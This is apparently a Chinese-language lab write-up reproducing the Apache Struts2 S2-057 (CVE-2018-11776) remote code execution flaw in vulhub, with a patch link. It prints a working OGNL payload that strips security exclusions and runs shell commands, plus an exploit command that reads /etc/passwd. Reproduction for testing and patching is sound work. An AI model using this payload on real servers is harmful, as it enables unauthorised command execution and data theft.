CVE-2018-11776 Apache Struts2 RCE远程命令执行漏洞复现
漏洞简述
Struts2是Apache软件基金会负责维护的一个基于MVC设计模式的Web应用框架开源项目。Apache Struts2存在S2-057远程代码执行漏洞。漏洞触发条件:1、定义XML配置时namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace。2、url标签未设置value和action值且上层动作未设置或用通配符namespace。攻击者可利用漏洞执行RCE攻击。
漏洞影响版本
- Struts <=2.3.34
- Struts 2.5.16
漏洞exp
https://github.com/brianwrf/S2-057-CVE-2018-11776.git
漏洞环境搭建
使用vulhub,启动满足条件的 Struts 2.3.34 环境。
访问http://your-ip:8080/showcase/
,将可以看到Struts2的测试页面。

漏洞复现
/struts2-showcase/$%7B233*233%7D/actionChain1.action


需要对下面的payload进行url编码再执行。
${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

使用上面提供的exp执行。
python exploit.py "http://127.0.0.1:8080/showcase" "cat /etc/passwd" "actionChain1.action" 3

溯源排查
struts2本身没有日志,依赖于安全设备或Nginx这类中间件的日志。
修复方式
用户可参考如下,厂商提供的安全公告获取补丁以修复该漏洞:
https://cwiki.apache.org/confluence/display/WW/S2-057?tdsourcetag=s_pcqq_aiomsg
微信赞赏
支付宝赞赏
发表评论